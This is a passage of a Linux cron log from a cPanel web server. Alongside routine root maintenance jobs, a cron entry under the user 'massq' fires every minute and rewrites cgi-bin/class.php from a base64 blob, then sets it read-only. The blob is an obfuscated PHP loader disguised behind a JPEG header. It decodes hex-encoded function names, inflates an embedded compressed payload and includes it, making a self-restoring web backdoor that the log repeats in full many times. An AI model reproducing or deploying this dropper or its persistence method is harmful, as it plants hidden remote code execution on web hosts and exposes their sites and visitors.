LcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:22:01 server CROND[10518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:22:01 server CROND[10519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:22:01 server CROND[10520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:23:01 server CROND[10902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:23:01 server CROND[10903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:23:01 server CROND[10904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:24:01 server CROND[11284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:24:01 server CROND[11285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:24:01 server CROND[11286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:25:01 server CROND[11724]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 23:25:01 server CROND[11726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:25:01 server CROND[11727]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 23:25:01 server CROND[11729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:25:01 server CROND[11731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:25:01 server CROND[11733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:25:01 server CROND[11730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:26:01 server CROND[12687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:26:01 server CROND[12688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:26:01 server CROND[12689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:27:01 server CROND[13082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:27:01 server CROND[13083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:27:01 server CROND[13081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:27:01 server CROND[13084]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 23:28:01 server CROND[13471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:28:01 server CROND[13472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:28:01 server CROND[13474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:29:01 server CROND[13855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:29:01 server CROND[13854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:29:01 server CROND[13856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:30:01 server CROND[14256]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:30:01 server CROND[14258]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 23:30:01 server CROND[14260]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:30:01 server CROND[14262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:30:01 server CROND[14261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:30:01 server CROND[14264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:30:01 server CROND[14263]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 23:30:01 server CROND[14259]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 23:31:01 server CROND[15174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:31:01 server CROND[15175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:31:01 server CROND[15176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:32:01 server CROND[15647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:32:01 server CROND[15648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:32:01 server CROND[15649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:33:01 server CROND[16034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:33:01 server CROND[16035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:33:01 server CROND[16036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:34:01 server CROND[16402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:34:01 server CROND[16403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
